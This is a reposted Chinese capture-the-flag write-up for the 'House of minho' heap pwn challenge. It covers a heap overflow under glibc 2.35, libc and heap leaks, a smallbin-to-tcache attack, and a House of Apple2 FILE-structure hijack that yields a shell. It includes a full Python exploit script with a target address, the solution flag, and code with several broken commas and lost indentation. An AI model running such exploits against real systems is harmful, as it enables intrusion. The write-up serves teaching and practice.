[Black Hat 2023] Pwn House of minho 解题报告

作者:看雪学苑 发布:2026-09-20 18:01 收录:2026-09-20 21:32 2 次阅读 约 1954 字
摘要:看雪论坛作者ID:mb_dcvvjyqc
推荐理由:本文涵盖「Black Hat」、「Pwn」、「House of minho」等多个主题,重点关注 Black Hat。

1. 题目信息  

目标:
nc 123.57.66.184 10050


附件:

附件:
minho
main.c
Dockerfile
docker-compose.yml


最终 flag:

flag{bcddada9-b211-4c5d-8d04-282a53b2caff}


参考环境:

Ubuntu 22.04
GLIBC 2.35
PIE: enabled
NX: enabled
Canary: enabled
RELRO: Full RELRO


2.漏洞点分析

源码核心如下:

#define SIZE_SMALL 0x40
#define SIZE_BIG   0x80

char *g_buf;

case 1:
if (getint("Size [1=small / 2=big]: ") == 1) {
        g_buf = malloc(SIZE_SMALL);
    } else {
        g_buf = malloc(SIZE_BIG);
    }

printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
    g_buf[strcspn(g_buf, "\n")] = '\0';
break;


当选择 small 时:

g_buf = malloc(0x40);


但输入时固定读入:

read(0, g_buf, 0x80);


所以 small chunk 存在堆溢出,可以覆盖后续 chunk 的 metadata,包括 size、fd、bk 等字段。


程序限制:

char *g_buf;


全局只有一个指针,delete 后会置空:

free(g_buf);
g_buf = NULL;


所以没有直接 UAF,但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。


3.利用总体思路

利用链分四段:

1. 利用 scanf 读超长输入触发 malloc/realloc/free
2. 修改 Top Chunk size,让 Top Chunk 进入 Unsorted Bin,泄露 libc
3. 通过 tcache fd 的 safe-linking key 泄露 heap base
4. 伪造 smallbin 链,触发 smallbin-to-tcache,拿任意写
5. House of Apple2 劫持 _IO_list_all,触发 system("sh")
6. 执行 cat /flag


关键 libc 偏移:

main_arena_unsorted = 0x219ce0
smallbin_0x90_head  = 0x219d60
_IO_list_all        = 0x21a680
_IO_wfile_overflow  = 0x2160d8
system              = 0x50d60


4.libc 泄露

先溢出修改 Top Chunk size:

add(1, b"a" * 0x48 + p64(0xd11))


然后向 scanf("%d%*c") 输入超长数字:

sla(b"> ", b"0" * 0xfff + b"2")


scanf 内部会分配较大的缓冲区,大致触发:

malloc(0x800);
realloc(..., 0x1000);
realloc(..., 0x2000);
free(...);


配合被修改过的 Top Chunk size,可以让旧 Top Chunk 进入 Unsorted Bin。

之后通过 small chunk 溢出覆盖并 show:

free()
add(1, b"a" *0x50)
show()
ru(b"a" *0x50)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) -0x219ce0


5.heap 泄露

glibc 2.35 的 tcache fd 使用 safe-linking:

encoded_fd = real_fd ^ (chunk_addr >> 12)


如果泄露 tcache 链表末尾 chunk 的 fd,由于真实 fd 为 0,所以泄露值就是:

heap_base >> 12


因此:

heap_base = leak << 12


对应利用:

free()
add(2, b"a")
free()

add(1, b"a" *0x50)
show()
ru(b"a" *0x50)

heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) <<12


6.smallbin-to-tcache

目标是构造一个 fake smallbin 链,让 glibc 在从 smallbin 取 chunk 时,把链上的其它 chunk 自动填充进 tcache。

先构造可被合并的 fake chunk:

add(
1,
    b"a" * 0x10
    + p64(0)
    + p64(0x31)
    + 2 * p64(heap_base + 0x2c0)
    + b"a" * 0x10
    + p64(0x30)
    + p64(0xd00)
)
free()


布置哨兵块,避免 malloc/free 检查崩溃:

add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()


把 fake chunk size 改成 smallbin 大小:

add(1, b"a" * 0x10 + p64(0) + p64(0x91))


再次用 scanf 超长输入触发 unsorted bin 遍历,使 fake chunk 进入 smallbin:

sla(b"> ", b"0" * 0xfff + b"2")


然后伪造 smallbin bk 链:

add(1, flat_list([
00,
00x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
00x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
00x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()


触发 smallbin-to-tcache:

add(2, b"a")
free()


此时可以进行 tcache poisoning,获得一次写 libc 地址的机会。

7.House of Apple2

由于 Full RELRO,不能改 GOT。这里选择劫持:

_IO_list_all


构造 fake _IO_FILE_plus,让程序 exit 时触发:

exit
-> _IO_flush_all_lockp
-> _IO_wfile_overflow
->system("sh")


关键字段:

wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0

_IO_wfile_overflow_ptr = libc_base + 0x2160d8
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60


写入 fake FILE:

add(2flat_dict({
0x10: b"  sh;",
0x38: system,
0x680x71,
0x70: _IO_list_all ^ (heap_base >> 12),
}, filler=b"\x00"))


继续补齐 wide_data 和 vtable:

add(2flat_dict({
    wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
    vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}, filler=b"\x00"))


最后劫持 _IO_list_all:

add(2, p64(heap_base + 0x2e0))


退出触发:

sla(b"> ", b"4")


8.完整 exploit

保存为:

exp_minho_pure.py


运行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"


完整代码:

import socket, struct, time, argparse

MASK64 = (1 << 64) - 1

def p64(x): return struct.pack("<Q", x & MASK64)
def u64(b): return struct.unpack("<Q", b.ljust(8b"\x00")[:8])[0]

def flat_list(items):
    out = b""
for x in items:
        out += p64(x) if isinstance(x, intelse x
return out

def flat_dict(d, filler=b"\x00"):
    maxlen = 0
    vals = []
for off, val in d.items():
        b = p64(val) if isinstance(val, intelse val
        vals.append((off, b))
        maxlen = max(maxlen, off + len(b))

    out = bytearray(filler[:1] * maxlen)
for off, b in vals:
        out[off:off + len(b)] = b
return bytes(out)

class Tube:
def __init__(self, host, port, timeout=12):
        self.s = socket.create_connection((host, port), timeout=timeout)
        self.s.settimeout(timeout)
        self.buf = b""

def recv(self, n=4096):
if self.buf:
            b = self.buf[:n]
            self.buf = self.buf[n:]
return b
return self.s.recv(n)

def recvuntil(self, delim, drop=False):
while delim not in self.buf:
            chunk = self.s.recv(4096)
if not chunk:
break
            self.buf += chunk

        idx = self.buf.find(delim)
if idx >= 0:
            end = idx + len(delim)
            out = self.buf[:idx if drop else end]
            self.buf = self.buf[end:]
return out

        out = self.buf
        self.buf = b""
return out

def send(self, b):
if isinstance(b, str):
            b = b.encode()
        self.s.sendall(b)

def sendline(self, b):
if isinstance(b, str):
            b = b.encode()
        self.send(b + b"\n")

def sendafter(self, delim, b):
        self.recvuntil(delim)
        self.send(b)

def sendlineafter(self, delim, b):
        self.recvuntil(delim)
        self.sendline(b)

def clean(self, timeout=0.5):
        old = self.s.gettimeout()
        self.s.settimeout(timeout)
        out = self.buf
        self.buf = b""
while True:
try:
                c = self.s.recv(4096)
if not c:
break
                out += c
except socket.timeout:
break
        self.s.settimeout(old)
return out

def exploit(host, port, cmd):
    io = Tube(host, port)

    ru = io.recvuntil
    sla = io.sendlineafter
    sa = io.sendafter

def add(size, content):
        sla(b"> "b"1")
        sla(b"Size [1=small / 2=big]: "str(size).encode())
        sa(b"Data: ", content)

def show():
        sla(b"> "b"2")

def free():
        sla(b"> "b"3")

    sla(b"> "b"0" * 0xd58 + b"3")

    add(1b"a" * 0x48 + p64(0xd11))
    sla(b"> "b"0" * 0xfff + b"2")

    free()
    add(1b"a" * 0x50)
    show()
    ru(b"a" * 0x50)

    libc_base = u64(io.recv(6)) - 0x219ce0
print("[+] libc_base ="hex(libc_base))

    free()
    add(1b"a" * 0x48 + p64(0xcf1))

    free()
    add(2b"a")
    free()

    add(1b"a" * 0x50)
    show()
    ru(b"a" * 0x50)

    heap_base = u64(ru(b"\n", drop=True)) << 12
print("[+] heap_base ="hex(heap_base))

    free()

    add(
1,
b"a" * 0x10
        + p64(0)
        + p64(0x31)
        + 2 * p64(heap_base + 0x2c0)
        + b"a" * 0x10
        + p64(0x30)
        + p64(0xd00)
    )
    free()

    add(2b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
    free()

    add(1b"a" * 0x10 + p64(0) + p64(0x91))
    sla(b"> "b"0" * 0xfff + b"2")

    free()

    add(1, flat_list([
00,
00x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
00x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
00x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
    ]))
    free()

    add(2b"a")
    free()

    wide_data_off = 0xa0
    vtable_off = 0xd8
    wide_data_vtable_off = 0xe0

    _IO_wfile_overflow_ptr = libc_base + 0x2160d8
    __overflow_off = 0x18
    do_alloc_off = 0x68

    _IO_list_all = libc_base + 0x21a680
    system = libc_base + 0x50d60

    add(
1,
b"a" * 0x10
        + p64(0)
        + p64(0x71)
        + p64((heap_base + 0x2d0 + 0x70) ^ (heap_base >> 12))
    )
    free()

    add(2, flat_dict({
0x10b"  sh;",
0x38: system,
0x680x71,
0x70: _IO_list_all ^ (heap_base >> 12),
    }))
    free()

    add(2, flat_dict({
        wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
        vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
    }))
    free()

    add(2, p64(heap_base + 0x2e0))

    sla(b"> "b"4")

    time.sleep(0.5)
print("[+] trigger:"repr(io.clean()))

    io.sendline(cmd)

    out = b""
    end = time.time() + 5
while time.time() < end:
try:
            chunk = io.s.recv(4096)
if not chunk:
break
            out += chunk
if b"DONE" in out:
break
except socket.timeout:
break

print(out.decode("latin-1""replace"))

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("host", nargs="?", default="123.57.66.184")
    ap.add_argument("port", nargs="?"type=int, default=10050)
    ap.add_argument("--cmd", default="cat /flag; echo DONE")
    args = ap.parse_args()

    exploit(args.host, args.port, args.cmd.encode())


9.结果

执行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"


输出:

[+] libc_base = 0x...
[+] heap_base = 0x...
[+] trigger: b'[+] Bye!\n'
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
DONE




看雪ID:mb_dcvvjyqc

https://bbs.kanxue.com/user-home-946087.htm

*本文为看雪论坛优秀文章,由 mb_dcvvjyqc 原创,转载请注明来自看雪社区
9月10日【议题征集】截止

# 往期推荐

HTB Nimbus渗透测试靶机 Writeup

当高频观测不再经过异常路径:Shadow Cave 与常驻式插桩架构

D3CTF 2026 d3llvm.apk 反调试定位与加密 SO的Dump

一串反引号,十层突破:n1ctf‑2018‑easy_harder_php 完整利用链

实现一个EDR不可见的网络通信(将lwip移植到nt内核中)

图片

球分享

球点赞

球在看


点击阅读原文查看更多

转载声明:本文转载自原发布平台 (作者:看雪学苑), 原文标题《[Black Hat 2023] Pwn House of minho 解题报告》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。